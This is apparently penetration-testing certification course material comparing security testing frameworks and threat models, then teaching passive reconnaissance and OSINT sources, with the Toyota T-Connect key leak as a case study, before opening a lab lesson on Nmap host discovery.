Ten names in one objective look like a memorization exercise. They are easier to hold if you sort them by the question each one answers. Some tell you how to run a test. One tells a client who is qualified to run it. One records what real attackers do. Two list what usually goes wrong in software. One describes where industrial systems sit. Three help you think about what could go wrong and how bad it would be. This lesson builds that sorting into a set of comparison tables, then practices choosing the right one for a question.
Exam objectives: 1.3 (compare and contrast OSSTMM, CREST, PTES, MITRE ATT&CK, the OWASP Top 10, OWASP MASVS, the Purdue model, and the threat modeling frameworks DREAD, STRIDE and OCTAVE).
Six kinds of map
| Question it answers | Frameworks | What you use it for in an engagement |
|---|---|---|
| How do we run a test, start to finish? | PTES, OSSTMM, NIST SP 800-115 | Structuring the engagement, the ROE and the report |
| Who is qualified to run it? | CREST | A client choosing a testing provider; a provider proving its processes |
| What do real attackers do? | MITRE ATT&CK | Planning realistic scenarios; mapping findings to behaviors defenders can detect |
| What usually goes wrong in software? | OWASP Top 10, OWASP MASVS | Checking web and mobile applications against known risk categories and requirements |
| Where do industrial systems sit? | Purdue model | Scoping and segmenting tests of operational technology safely |
| What could go wrong, and how bad is it? | STRIDE, DREAD, OCTAVE | Finding threats in a design, rating them, and assessing an organization's risk |
The upshot: when a question names a goal, such as "structure the engagement" or "rate this threat", ask which kind of map answers that goal before looking at the names.
Methodologies for running the test
Three documents describe how a penetration test should be run, and they divide the work differently.
| Feature | NIST SP 800-115 (2008) | PTES | OSSTMM 3 (ISECOM, 2010) |
|---|---|---|---|
| Who publishes it | US National Institute of Standards and Technology | A group of practitioners; the technical text is mirrored online | The Institute for Security and Open Methodologies, under a Creative Commons license |
| How it divides a test | Four phases: planning, discovery, attack and reporting, with a loop from attack back to discovery | Seven sections: pre-engagement interactions, intelligence gathering, threat modeling, vulnerability analysis, exploitation, post-exploitation, reporting | Tests five channels (human, physical, wireless, telecommunications and data networks) with one methodology |
| Distinctive strength | A rules of engagement template and plain guidance on planning and logistics | Practical detail on scoping, third parties, emergency contacts and scope creep | Measurement: attack surface metrics called ravs, and strict rules for reporting only facts |
| Where you meet it | US government and regulated work | Commercial engagements | Operational security audits across physical and digital channels |
NIST makes reporting a phase that runs alongside the others rather than one at the end. The ROE is written during planning, logs and periodic reports are kept during discovery and attack, and a final report closes the test. That is worth remembering for the exam, because it explains why communication is an objective of its own.
OSSTMM adds a vocabulary the exam can use: six common test types, defined by who knows what in advance.
| OSSTMM test type | What the tester knows | What the target knows | Also called |
|---|---|---|---|
| Blind | Nothing about defenses, assets or channels | Everything about the audit | Ethical hacking |
| Double blind | Nothing | Nothing about scope, channels or vectors | Black box test, penetration test |
| Gray box | Limited knowledge of defenses and assets | Everything | Vulnerability test, often a self-assessment |
| Double gray box | Limited knowledge | Scope and time frame, but not channels or vectors | White box test |
| Tandem | Everything | Everything | In-house audit, crystal box test |
| Reversal | Everything about processes and defenses | Nothing about what, how or when | Red team exercise |
Notice what the table measures. The tester's knowledge decides how efficient the test is; the target's knowledge decides whether the test also measures how well its defenders respond. A reversal test, OSSTMM's red-team type, is the only one that tests the defenders' readiness with full knowledge on the attacking side. OSSTMM also sets rules that read like an ROE. It forbids any flood testing over channels that are not privately owned. It requires reports to mark every unknown and to state both the security measures that worked and those that failed.
Watch one label. OSSTMM's "white box" is its double gray box, where the tester has limited knowledge. In general use, and in NIST's glossary, white box testing means the tester has substantial knowledge of the system's internals, gray box means some knowledge and black box means none. If a stem says white box without naming OSSTMM, read it the general way.
CREST: who may do the testing
CREST is not a way to run a test. The objectives expand the name as Council of Registered Ethical Security Testers, though the body now simply calls itself CREST. It is a not-for-profit company, registered in the UK, that accredits testing companies and certifies individual professionals. Accredited member companies, which CREST says number over 500 worldwide, pass audits of their processes and sign enforceable codes of conduct and ethics, and clients can complain through CREST if something goes wrong. Its accreditations cover penetration testing, vulnerability assessment, threat intelligence, incident response and security operations.
So CREST answers the buyer's question: how do I know this company tests safely and ethically? A client that requires a CREST-accredited provider, as some governments and regulators do, is using CREST as a qualification standard, while the engagement itself may still follow PTES or NIST.
MITRE ATT&CK: what attackers actually do
MITRE describes ATT&CK as a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. A tactic is the attacker's goal at a step, such as gaining credentials. A technique is how the goal is reached, such as T1110, Brute Force, whose sub-techniques include password guessing, password cracking, password spraying and credential stuffing. Each technique page lists mitigations and detection strategies, which is why ATT&CK is as useful to defenders as to testers.
ATT&CK has three matrices: Enterprise, Mobile and ICS (industrial control systems). In version 20 the Enterprise matrix has 15 tactics, in this order: Reconnaissance, Resource Development, Initial Access, Execution, Persistence, Privilege Escalation, Stealth, Defense Impairment, Credential Access, Discovery, Lateral Movement, Collection, Command and Control, Exfiltration and Impact. Older study material lists 14, with a single tactic called Defense Evasion where version 20 has Stealth (TA0005) and Defense Impairment (TA0112). If an exam item uses the older name, it means the same family of behavior.
In an engagement, ATT&CK helps in two places. Before testing, it lets you build scenarios from techniques real groups use against the client's industry. In the report, mapping each finding to a technique ID tells the client's detection team exactly which behavior it should be able to see.
OWASP: what usually goes wrong in software
The Open Worldwide Application Security Project publishes two lists the exam names. The OWASP Top 10 ranks the most critical categories of web application security risk and is revised every few years. Its 2025 edition reads:
| ID | Category (2025) | Where the 2021 edition differed |
|---|---|---|
| A01 | Broken Access Control | Also first in 2021 |
| A02 | Security Misconfiguration | Fifth in 2021 |
| A03 | Software Supply Chain Failures | New name; 2021 had Vulnerable and Outdated Components sixth |
| A04 | Cryptographic Failures | Second in 2021 |
| A05 | Injection | Third in 2021 |
| A06 | Insecure Design | Fourth in 2021 |
| A07 | Authentication Failures | Identification and Authentication Failures in 2021 |
| A08 | Software or Data Integrity Failures | Software and Data Integrity Failures in 2021 |
| A09 | Security Logging and Alerting Failures | Security Logging and Monitoring Failures in 2021 |
| A10 | Mishandling of Exceptional Conditions | New; 2021's tenth was Server-Side Request Forgery (SSRF) |
PT0-003 was written when the 2021 list was current, so expect exam items and study guides to cite it. The Top 10 is a list of risk categories, not a testing method; OWASP's Web Security Testing Guide is the method. Testers use the Top 10 to make sure a web test covers the categories that matter most, and to label findings in terms developers recognize.
The Mobile Application Security Verification Standard (MASVS) does the same job for mobile apps. It is a set of security requirements grouped into eight control groups:
- storage
- cryptography
- authentication and authorization
- network communication
- platform interaction
- code quality
- resilience against reverse engineering and tampering
- privacy
Its companion, the Mobile Application Security Testing Guide (MASTG), organizes test methods for Android and iOS under the same groups. An app that keeps a session token in a plain file on the device fails a storage requirement; one that accepts any certificate when it calls its API fails a network one.

Fundación OWASP - CC BY-SA 4.0 - Wikimedia Commons
The Purdue model: where industrial systems sit
The Purdue model comes from the Purdue Enterprise Reference Architecture, first published in the late 1980s and early 1990s for computer-integrated manufacturing. NIST SP 800-82 Revision 3, the US guide to operational technology (OT) security, names it as one of the models an organization may use to organize OT network segmentation.
| Level | What lives there | Testing implication |
|---|---|---|
| Level 0 | Field I/O: sensors and actuators touching the physical process | Many devices and protocols here cannot authenticate, so data can be replayed, modified or spoofed |
| Level 1 | Controllers, such as programmable logic controllers (PLCs) | Fragile to unexpected traffic; never test casually in production |
| Level 2 | Supervisory control: operator interfaces (HMIs) and SCADA servers | Grouped with Levels 0 and 1 as the field level in NIST's examples |
| Level 3 | Site operations: site-wide supervisory and optimization servers | The operations management level |
| OT DMZ | Systems that bridge operations and the enterprise | The enforcement boundary between IT and OT |
| Levels 4 and 5 | Enterprise business systems and networks | Ordinary IT, where most testing starts |
NIST's guidance gives a tester two things to check and one thing to fear. Firewall rules should only permit connections between adjacent levels, so a Level 4 device talking directly to a Level 2, 1 or 0 device is a finding. Outbound connections from lower levels should be controlled as strictly as inbound ones. And active scanning can harm OT systems: NIST repeatedly advises testing tools on non-production systems first, scanning during planned downtime, and preferring passive monitoring through SPAN ports or network taps. Lesson 10 returns to this when it covers industrial vulnerability assessment.

Paul McLaughlin, Rohan McAdam - CC BY-SA 4.0 - Wikimedia Commons

Daniele Pugliesi - CC BY-SA 3.0 - Wikimedia Commons

sirdle - CC BY-SA 2.0 - Wikimedia Commons
Alf van Beem - CC0 - Wikimedia Commons
Threat models: STRIDE, DREAD and OCTAVE
Threat modeling asks what could go wrong with a system before or while you test it. The exam names three approaches, and they do three different jobs.
STRIDE finds threats. Microsoft's threat modeling tool uses it to prompt pointed questions about each part of a design. Each letter is a category of threat, and each violates one security property.
| Category | Property violated | Example in a banking app |
|---|---|---|
| Spoofing | Authentication | Using another member's stolen password to log in |
| Tampering | Integrity | Changing a transfer amount in transit or in the database |
| Repudiation | Non-repudiation | A member denies a transfer and no log can prove otherwise |
| Information disclosure | Confidentiality | Reading another member's statements |
| Denial of service | Availability | Making online banking unusable for everyone |
| Elevation of privilege | Authorization | A teller account gaining administrator rights |
DREAD rates threats. In the 2003 Microsoft chapter, each threat gets a score from 1 (low) to 3 (high) for Damage potential, Reproducibility, Exploitability, Affected users and Discoverability. The five scores are added, so totals run from 5 to 15: 12 to 15 is High, 8 to 11 is Medium and 5 to 7 is Low. The chapter's network-sniffing threat scored 3, 3, 2, 2, 2, a total of 12.
The chapter offered DREAD as a cure for a known problem: team members usually will not agree on a bare High, Medium or Low rating. The cure is partial, because each of the five scores is still a judgment call.
OWASP's historical threat modeling page goes the other way. It prefers qualitative High, Medium and Low values for likelihood and impact, so that rankings do not become overly subjective. Modern reports usually score findings with CVSS instead (Lesson 14).
OCTAVE assesses an organization's risk. The Operationally Critical Threat, Asset, and Vulnerability Evaluation comes from Carnegie Mellon University's Software Engineering Institute. Its streamlined version, OCTAVE Allegro, published in 2007, has an organization assess the risks to its information assets by considering the people, technology and facilities those assets depend on and the business processes they support. It is a risk assessment the organization carries out, not a way to attack a system. It is the right answer when a question is about an organization's overall operational risk rather than a single application's design.
The upshot: STRIDE asks "what kind of threat is this?", DREAD asks "how bad is it?", and OCTAVE asks "what matters most to this organization, and how exposed is it?"
Choosing the right map
| The situation | Best fit | Why not the obvious alternative |
|---|---|---|
| A client wants to structure a new testing program from pre-engagement to report | PTES or NIST SP 800-115 | The OWASP Top 10 covers only web risk categories |
| A client wants to test its defenders' response without warning them | OSSTMM's reversal or double blind types | A tandem test tells the defenders everything in advance |
| A regulator requires an accredited testing provider | CREST | ATT&CK describes attackers, not providers |
| The detection team wants findings it can turn into alerts | MITRE ATT&CK technique IDs | DREAD scores severity but says nothing about detection |
| A developer asks which requirement a mobile app's token storage fails | OWASP MASVS (storage) | The web Top 10 does not cover on-device storage |
| A factory asks how to segment and test its plant network | Purdue model, with NIST SP 800-82 | A standard IT scan plan could disrupt controllers |
| An architect wants threats in a new design listed by type | STRIDE | OCTAVE works at the level of the whole organization |
Common misconceptions
- "The OWASP Top 10 is a testing methodology." It is a list of risk categories. OWASP's Web Security Testing Guide is the method, and PTES or NIST structures the engagement around it.
- "CREST is a methodology like PTES." CREST accredits companies and certifies people. It answers who may test, not how a test is run.
- "White box means the defenders know nothing." In OSSTMM's terms, double gray box ("white box") gives the target notice of scope and time frame. Reversal is the type in which the defenders know nothing while the tester knows everything.
- "ATT&CK is only for defenders." Testers use it to plan realistic scenarios and to label findings so defenders can act on them.
- "A DREAD score of 15 means 15 out of 15 problems." It is the sum of five ratings from 1 to 3, and the bands (High from 12) are a convention, not a measurement.
Pulling it together
- PTES (seven sections), NIST SP 800-115 (four phases, with reporting running throughout) and OSSTMM (five channels, six test types, attack surface metrics) describe how to run a test.
- CREST accredits testing companies and certifies individuals; it is a qualification standard, not a methodology.
- MITRE ATT&CK records real-world adversary tactics and techniques; version 20's Enterprise matrix has 15 tactics, with Stealth and Defense Impairment where older versions had Defense Evasion.
- The OWASP Top 10 (2025, with 2021 still widely cited) lists web risk categories; MASVS sets mobile app requirements in eight control groups, tested with the MASTG.
- The Purdue model places industrial systems in levels from field devices to the enterprise; NIST SP 800-82 says only adjacent levels should talk and active scanning needs great care.
- STRIDE categorizes threats by the property they violate, DREAD rates them from 5 to 15, and OCTAVE assesses an organization's operational risk to its information assets.
Sources
- Scarfone, K., Souppaya, M., Cody, A., and Orebaugh, A. (2008). Technical guide to information security testing and assessment (NIST Special Publication 800-115), section 5.2. National Institute of Standards and Technology. nvlpubs.nist.gov (PDF)
- The PTES Team. (n.d.). Penetration Testing Execution Standard (unofficial mirror of the technical text; the official site is pentest-standard.org). pentest-standard.readthedocs.io
- Herzog, P. (2010). OSSTMM 3: The open source security testing methodology manual. Institute for Security and Open Methodologies (ISECOM). isecom.org (PDF); National Institute of Standards and Technology. (n.d.). White box testing; Gray box testing; Black box testing. Computer Security Resource Center glossary. csrc.nist.gov (white); csrc.nist.gov (gray); csrc.nist.gov (black)
- CREST. (n.d.). Cyber security services, accreditations and training (home page; legal status in the site footer). crest-approved.org
- MITRE. (2026). MITRE ATT&CK, version 20: Enterprise tactics, and technique T1110, Brute Force. attack.mitre.org (tactics); attack.mitre.org (T1110)
- OWASP Foundation. (2025). OWASP Top 10:2025; and (2021). OWASP Top 10:2021. top10.owasp.org (2025); top10.owasp.org (2021)
- OWASP Foundation. (n.d.). OWASP Mobile Application Security Verification Standard (MASVS). mas.owasp.org
- Stouffer, K., Pease, M., Tang, C., Zimmerman, T., Pillitteri, V., Lightman, S., Hahn, A., Saravia, S., Sherule, A., and Thompson, M. (2023). Guide to operational technology (OT) security (NIST Special Publication 800-82 Rev. 3). National Institute of Standards and Technology. csrc.nist.gov
- Microsoft. (n.d.). Threats: Microsoft Threat Modeling Tool (STRIDE); and Meier, J. D., Mackman, A., Dunner, M., Vasireddy, S., Escamilla, R., and Murukan, A. (2003). Threat modeling. In Improving web application security: Threats and countermeasures (retired content; DREAD). learn.microsoft.com (STRIDE); learn.microsoft.com (DREAD)
- OWASP Foundation. (n.d.). Threat modeling process (historical); and Caralli, R. A., Stevens, J. F., Young, L. R., and Wilson, W. R. (2007). Introducing OCTAVE Allegro: Improving the information security risk assessment process (CMU/SEI-2007-TR-012). Software Engineering Institute. owasp.org; sei.cmu.edu
- Key terms
- PTES
- The Penetration Testing Execution Standard, which divides an engagement into seven sections from pre-engagement interactions to reporting.
- OSSTMM
- ISECOM's Open Source Security Testing Methodology Manual, which tests five channels and defines six test types such as blind, double blind and reversal.
- CREST
- A not-for-profit body that accredits security testing companies and certifies individual professionals.
- MITRE ATT&CK
- A knowledge base of real-world adversary tactics (goals) and techniques (methods), with Enterprise, Mobile and ICS matrices.
- OWASP Top 10
- OWASP's periodically revised list of the most critical web application security risk categories; the 2025 edition replaces the 2021 one.
- OWASP MASVS
- The Mobile Application Security Verification Standard: security requirements for mobile apps in eight control groups.
- Purdue model
- A reference model that places industrial systems in levels, from field devices at Level 0 to enterprise networks at Levels 4 and 5.
- STRIDE
- Microsoft's threat categories: spoofing, tampering, repudiation, information disclosure, denial of service and elevation of privilege.
- DREAD
- A rating model scoring damage, reproducibility, exploitability, affected users and discoverability from 1 to 3 each, summed to 5-15.
- OCTAVE
- The SEI's Operationally Critical Threat, Asset, and Vulnerability Evaluation, an organization's own risk assessment of its information assets.
Module 3: Reconnaissance and Enumeration (Domain 2, objectives 2.1-2.4)
Gather what public sources already reveal about a target, then discover hosts, services and operating systems in your own lab, enumerate what each service gives away, and modify short Bash, Python and PowerShell scripts that do the reading for you.
What the Internet Already Knows: Passive Reconnaissance and OSINT
- Distinguish passive, semi-passive and active reconnaissance, and explain why the ROE must cover each.
- Identify what social media, job boards, code repositories, DNS, registration data, certificate transparency logs, cached pages and breach data can reveal about a target.
- Choose among OSINT tools such as WHOIS and RDAP, nslookup and dig, Shodan, Censys, DNSdumpster, theHarvester, Recon-ng, SpiderFoot, Maltego, Hunter.io and the OSINT Framework.
- Report OSINT findings, such as an exposed secret, with remediation the client can act on.
A key in a public repository
In December 2017 a contractor developing the website for Toyota's T-Connect service, which links cars to online services, uploaded part of the site's source code to its own GitHub account. The account was set to public. The code contained an access key to the data server that held customer records.
On 15 September 2022 Toyota discovered the exposure and made the code private; two days later it changed the key.
Its announcement on 7 October 2022 said that for almost five years anyone could have used the key to reach the email addresses and customer management numbers of 296,019 customers. Its access logs showed no third-party access, but it could not completely rule it out.
Nobody had to scan Toyota to find that key. It sat on one of the most-searched code sites on the internet, readable by anyone who looked. That is the uncomfortable lesson of reconnaissance: some of the most valuable findings in a penetration test come before the tester sends a single packet to the client. This lesson covers those sources, what each one can reveal, the tools that collect them, and how a finding like Toyota's is written up.
Exam objectives: 2.1 (active and passive reconnaissance; OSINT from social media, job boards, code repositories, DNS and reverse DNS lookups, cached pages, cryptographic flaws and password dumps; certificate transparency logs; information disclosure; search engine analysis; HTML scraping) and 2.4 (Wayback Machine, WHOIS, nslookup and dig, Shodan, Censys.io, Hunter.io, DNSdumpster, theHarvester, Maltego, Recon-ng, SpiderFoot, OSINTframework.com).

Chris 73 - CC BY-SA 3.0 - Wikimedia Commons
Passive, semi-passive and active
The Penetration Testing Execution Standard sorts information gathering into three levels by how visible it is to the target.
| Level | PTES's description (paraphrased) | Examples |
|---|---|---|
| Passive | Uses only archived or stored information, so the target never sees traffic from you | Reading archived pages, certificate logs, internet-wide scan databases, registration records |
| Semi-passive | Looks like normal internet activity, such as querying the target's published name servers or reading public documents | Normal DNS lookups, browsing the public website, downloading published reports and reading their metadata |
| Active | Activity the target is likely to notice | Port scans, vulnerability scans, searching for unpublished directories or servers |
The distinction matters for two reasons. First, active reconnaissance touches the client's systems, so it must sit inside the scope and testing window. Second, passive sources often concern people rather than systems: employees' names, roles and posts. The ROE should say what research into staff is allowed. A sensible default is to research the organization and staff in their work roles, and to stay out of private lives.
Worth holding on to: passive does not mean harmless or unlimited. It means the target cannot see you, which is exactly why it needs rules written down.
What the organization says about itself
Organizations publish far more than they realize. PTES lists the sources: the corporate website, partners and clients it advertises, public bids, court records and filings, marketing material, and job postings, which it singles out because they reveal the technologies in use. A posting that asks for experience with a named firewall, identity provider and logging platform has just told an attacker which products to research.
Social media adds the people: names, job titles, reporting lines, email formats, office photos with badges visible, and announcements about new systems. Published documents add metadata. A report saved as a PDF or a word-processing file often records its author's name, the software version and sometimes internal paths. PTES names tools such as exiftool for reading it, and you will look at your own document's metadata in this lesson's lab.
All of this is information disclosure, one of the exam's terms: data the organization did not mean to publish, or did not realize was useful to an attacker. Error pages that print software versions, comments left in web page source, and directory listings belong in the same category.

Infestor - CC0 - Wikimedia Commons
What the domain says: DNS, registration data and certificate logs
The Domain Name System is public by design, so a few lookups reveal a lot. A forward lookup asks for the records behind a name:
- A and AAAA records give addresses.
- MX records name the mail servers.
- NS records name the name servers.
- TXT records often reveal which email and cloud services the organization has verified.
A reverse lookup asks which name a given address maps to, through PTR records, and can turn an address range into a list of hostnames.
On Linux and macOS, dig does both; nslookup is the older tool that also ships with Windows. Lesson 8 uses them against your own lab.
Registration data says who holds a domain or an address block. The old WHOIS protocol is being retired. ICANN says that since 28 January 2025, registries and registrars for generic top-level domains must provide registration data through the Registration Data Access Protocol (RDAP). They are no longer required to run WHOIS, except for .com, .name and .post. Many people and tools still say "WHOIS" for both. For a tester, registration data does a job you met in Lesson 4: confirming that the addresses in the scope really belong to the client.
Certificate Transparency (CT) logs are often the richest source of all. They are public, append-only records of the TLS certificates that certificate authorities issue; certificates can be added but not deleted or altered, and anyone can search them. Chrome and Safari require certificates to carry signed proof of logging, so almost every certificate used on the public web appears in a log.
Every name on a certificate, such as vpn., dev. or a forgotten staging site, becomes visible. Search services such as crt.sh, and tools such as DNSdumpster, a free domain research tool from HackerTarget, gather these names into a picture of the organization's attack surface.

Unknown author - Public domain - Wikimedia Commons
What the code and the past say
Code repositories are where the Toyota key lived. Public platforms index code for search, and a secret committed once stays in the repository's history even after a later commit deletes the file.
GitHub runs secret scanning automatically and for free on public repositories, checking the full history of every branch as well as issues, pull requests and wikis for keys, passwords and tokens. Its advice when a secret is exposed is to revoke or rotate the credential immediately, because removing it from history is slow and does not undo exposure that has already happened.
A tester searching the client's public repositories, and those of its contractors, is looking for exactly what Toyota's contractor published.
Cached pages show the past. The Internet Archive's Wayback Machine lets anyone browse archived captures of a URL, so a page the client removed last year, an old staff directory or an old login page may still be readable. Site owners can ask the archive to exclude their pages, which is itself a remediation option.
Search engines index what the organization forgot. Google's documentation describes its site: operator, which limits results to one domain, URL or URL prefix; combined with other terms, it finds exposed documents, login pages and error messages on the client's own sites. Such specialized queries are often called Google dorks, and the OSINT Framework marks them with a (D).
Password dumps are the hardest source ethically. Breach compilations circulate with real credentials for real people. The ROE must say whether testers may search them at all. When it allows a search, the usual practice is to report which client accounts appear, so the client can force resets, and never to try those passwords against live systems without explicit written permission. Cloud providers draw the same line: Microsoft's testing rules forbid using credentials that are not yours, including publicly leaked ones.

Torque - CC0 - Wikimedia Commons

Ralf Muehlen - GFDL - Wikimedia Commons
What machines say about themselves: Shodan and Censys
Some organizations scan the whole internet continuously and publish the results. Shodan describes itself as a search engine for internet-connected devices; most of its data is banners, the text a service returns when something connects, which often names the software and version. Censys does similar work for hosts and certificates. Reading their records about the client's addresses is passive for you, because someone else did the scanning. It can show services the client forgot it exposed, or cryptographic flaws such as expired certificates and outdated protocol versions, before you touch anything.
Both services need an account for most searches. So do Hunter.io and Maltego. Hunter's terms require users to be at least 18, and Censys's terms bar anyone under 13. For Shodan and Maltego, read the terms, including any age requirement, before registering. None of this course's labs needs any of these accounts.
Tools that do the collecting
| Tool | What it does | How visible it is to the target |
|---|---|---|
| theHarvester | Gathers email addresses, names, subdomains, IP addresses and URLs for a domain from public sources such as search engines and CT logs | Passive by default; DNS queries and direct contact with the target run only when you select them |
| Recon-ng | A modular framework for web-based open source reconnaissance, written in Python; its authors say to use other tools for exploitation and social engineering | Depends on the modules run |
| SpiderFoot | Automates OSINT with over 200 modules, from subdomain and email discovery to breach searches, through a web interface or the command line | Many modules are passive, but some, such as port scanning, are active |
| Maltego | Graphs relationships between people, organizations, domains and infrastructure to show how they connect | Mostly passive; needs an account |
| Hunter.io | Finds professional email addresses and their format for a domain | Passive; needs an account (18 and over) |
| DNSdumpster | Discovers hosts related to a domain from DNS data | Passive |
| OSINT Framework (osintframework.com) | Not a scanner: a categorized collection of links to OSINT resources, focused on free ones, with markers for tools to install (T), dorks (D), registration (R) and manual URLs (M) | Depends on the resource you open |
| Wayback Machine, WHOIS/RDAP, nslookup and dig, Shodan, Censys | Archives, registration data, DNS answers and internet-wide scan data, covered above | Passive or semi-passive |
HTML scraping is the do-it-yourself version: a script fetches a page and pulls out names, email addresses or links. Lesson 9 shows how to modify one. Scraping a client's site is semi-passive at most, and heavy scraping is active, so it belongs inside the scope and window.
Worth holding on to: a tool's name tells you less than its source. Ask of every tool: where does its data come from, and does using it send anything to the target?

Maltego - CC BY-SA 4.0 - Wikimedia Commons
Exam cues: which source or tool the stem wants
Objectives 2.1 and 2.4 begin "Given a scenario", so a stem usually describes a need and the answer names a source or a tool. These are the words to watch for, and the option each one gets confused with.
| The stem says | It points to | Do not confuse with |
|---|---|---|
| "Without sending any traffic to the target", "must not be detected" | Passive sources: archives, certificate logs, scan databases, registration records | Semi-passive: ordinary lookups and browsing, which do reach the client's published servers. Objective 2.1 files DNS lookups under OSINT, so if the only choices are passive and active, treat an ordinary lookup as passive and a port scan as active |
| "Find forgotten subdomains such as vpn. or staging." | Certificate Transparency logs, crt.sh, DNSdumpster | RDAP or WHOIS, which name who registered the domain, not its hosts |
| "Who holds this domain or address block?", "confirm the range is the client's" | WHOIS or RDAP | nslookup or dig, which return DNS records, not ownership |
| "Which mail servers?", "what name does this address map to?" | nslookup or dig: MX records, or a reverse lookup of the PTR record | Shodan, which reports services its own scans saw |
| "Which services and versions are exposed, without scanning?" | Shodan or Censys records | Nmap, which sends packets to the target and so is active |
| "A page the client has since removed" | Wayback Machine (cached pages) | A search operator such as site:, which finds what is indexed now |
| "Exposed documents or login pages on the client's own site" | Search engine analysis: site: combined with other terms | HTML scraping, which is your own script fetching and parsing pages |
| "Email addresses and names for a domain" | theHarvester (many public sources) or Hunter.io (email formats; account needed) | Maltego, which graphs relationships once it has the data |
| "Show how people, domains and servers connect" | Maltego | Recon-ng, a modular command-line framework that collects rather than draws |
| "Automate many OSINT sources from a web interface" | SpiderFoot | OSINTframework.com, a directory of links that collects nothing itself |
| "A key found in a public repository", even "after it was deleted" | Code repositories and their history; revoke or rotate first | Deleting the file or making the repository private, neither of which undoes the exposure |
| "Leaked password list mentions client accounts" | Password dumps: report the accounts and check the ROE; use no credential without written permission | Trying the passwords to prove the risk |
| "Job post names a firewall", "PDF records its author" | Job boards and information disclosure, including document metadata | A vulnerability: they show what is in use, not that it is misconfigured |
How OSINT findings are reported
OSINT findings are real findings. Suppose that during an authorized test of the fictional Corvid Bay Credit Union you find, in a contractor's public repository, a configuration file with an access key for the credit union's cloud storage. The report entry might read:
- Finding: a cloud access key, possibly still valid, published in a public code repository since a stated date. Do not test whether it works unless the ROE explicitly allows it.
- Severity: High, because anyone can read a long-term credential that protects member data. Adjust it once the client confirms what the key can reach.
- Evidence: the repository and file, a screenshot with the secret part of the key redacted, and the date you found it.
- Impact: anyone who found the key could read or change the data it protects; exposure time is the whole period it was public.
- Root cause: a contractor committed a real credential to a repository set to public, and nothing scanned for secrets before or after the commit. Toyota gave the same cause: a contractor's mistaken public upload, left unnoticed for almost five years.
- Remediation: revoke or rotate the key now, review the provider's logs for its use, turn on secret scanning for the client's and contractors' repositories, and replace long-term keys with temporary credentials where the platform supports them, as AWS recommends.
- Escalation: because the exposure is live, report it through the ROE's escalation path the same day, not in the final report.
Other OSINT findings are reported the same way:
- an unknown subdomain from CT logs becomes an asset inventory gap
- a job post naming security products becomes an awareness note
- employee lists and email formats feed the social engineering risk discussion
Common misconceptions
- "Passive reconnaissance is always allowed because it touches nothing." It can still raise privacy and legal issues, especially research into staff and breach data. The ROE should cover it.
- "Deleting a secret from the code fixes the leak." It stays in the repository's history and in any copy already made. Revoke or rotate the credential.
- "WHOIS is how you look up domain registration." For most generic top-level domains, RDAP is now the required service; WHOIS is no longer required since 28 January 2025.
- "Using Shodan is the same as scanning the client." Reading Shodan's existing records is passive for you; someone else already did the scanning. Asking a service to rescan on demand is different, and belongs in scope.
- "If credentials are public, testers may use them." Using leaked credentials needs explicit written permission; Microsoft's cloud testing rules forbid it outright.
What you now know
- Toyota's T-Connect key sat in a public repository from December 2017 to September 2022, exposing 296,019 customers' email addresses and management numbers: reconnaissance can find critical flaws without any scanning.
- PTES sorts information gathering into passive, semi-passive and active; only the last is likely to be noticed, but all three need rules.
- Websites, job posts, social media and document metadata disclose technologies, people and formats.
- DNS lookups and reverse lookups, RDAP registration data and Certificate Transparency logs map names, addresses and owners.
- Code repositories, the Wayback Machine, search operators such as site:, breach data and Shodan or Censys records expose what the client forgot.
- Collection tools differ mainly in where their data comes from and whether they touch the target.
- Exposed secrets are escalated at once and fixed by revoking or rotating them, then preventing recurrence.
Sources
- Toyota Motor Corporation. (2022, October 7). T-Connect: Notice regarding the possible leak of customer email addresses (in Japanese). global.toyota; reported in English by The Register (2022, October 11). theregister.com
- The PTES Team. (n.d.). Intelligence gathering. In Penetration Testing Execution Standard (unofficial mirror of the technical text). pentest-standard.readthedocs.io
- Certificate Transparency project. (n.d.). How CT works. certificate.transparency.dev
- ICANN. (n.d.). Registration Data Access Protocol (RDAP). icann.org
- GitHub. (n.d.). Secret scanning. GitHub Docs. docs.github.com; Amazon Web Services. (n.d.). Manage access keys for IAM users. docs.aws.amazon.com
- Internet Archive. (n.d.). Using the Wayback Machine; Google. (n.d.). Google Search site: operator. help.archive.org; developers.google.com
- Shodan. (n.d.). What is Shodan? Shodan Help Center. help.shodan.io; Hunter. (2024). Terms of service; Censys. (2018). Terms of service. hunter.io; censys.com
- Tool documentation: theHarvester (README); Recon-ng (README); SpiderFoot (README); DNSdumpster (HackerTarget); OSINT Framework. theHarvester; Recon-ng; SpiderFoot; DNSdumpster; osintframework.com
- Microsoft Security Response Center. (n.d.). Microsoft security testing rules of engagement. microsoft.com
- Key terms
- OSINT
- Open-source intelligence: information gathered from public sources such as websites, registries, code, archives and social media.
- Passive reconnaissance
- Gathering only archived or stored information, so the target sees no traffic from the tester.
- Semi-passive reconnaissance
- Gathering that looks like normal internet use, such as ordinary DNS lookups or reading published documents.
- Certificate Transparency (CT) log
- A public, append-only log of issued TLS certificates, whose names can reveal an organization's hostnames.
- RDAP
- The Registration Data Access Protocol, which replaced WHOIS as the required service for most generic top-level domains on 28 January 2025.
- Reverse DNS lookup
- Asking which hostname an IP address maps to, through its PTR record.
- Information disclosure
- Data an organization publishes without meaning to, or without realizing its value to an attacker, such as versions in banners or authors in document metadata.
- Secret scanning
- Automated searching of code and its history for credentials such as keys, passwords and tokens.
- Banner
- The text a service returns when a client connects, which often names its software and version; Shodan indexes banners.
Knocking on Doors: Host Discovery, Port Scanning, and Fingerprinting
- Discover hosts and scan TCP and UDP ports with Nmap, and interpret the six port states.
- Identify services, versions and operating systems with banner grabbing, version detection, OS fingerprinting and safe NSE scripts.
- Capture and read scan traffic with tcpdump and Wireshark, and explain why OT and IoT networks are watched passively.
- Predict how filtering changes scan results, and record results as evidence for a report.
One packet, three answers
Send one TCP packet with the SYN flag set to port 21 of your Metasploitable VM, and one of three things happens. If a program is listening, the VM replies with SYN/ACK, the second step of the TCP handshake. If nothing is listening, it replies with RST, a reset. If a firewall drops the packet, nothing comes back at all, or an ICMP "unreachable" message arrives from somewhere in between. Every port scanner, from the simplest to Nmap, is built on reading those answers carefully.
This lesson walks through the active part of reconnaissance in your own lab, in the order a tester works:
- find the hosts
- find their open ports
- ask each service what it is
- ask each host what it is
- enumerate the protocols
- watch it all on the wire
Then it runs the same scans against a target behind a firewall, to show how every answer changes. If the TCP handshake needs a refresher, the site's Network+ Certification Prep covers it in full.
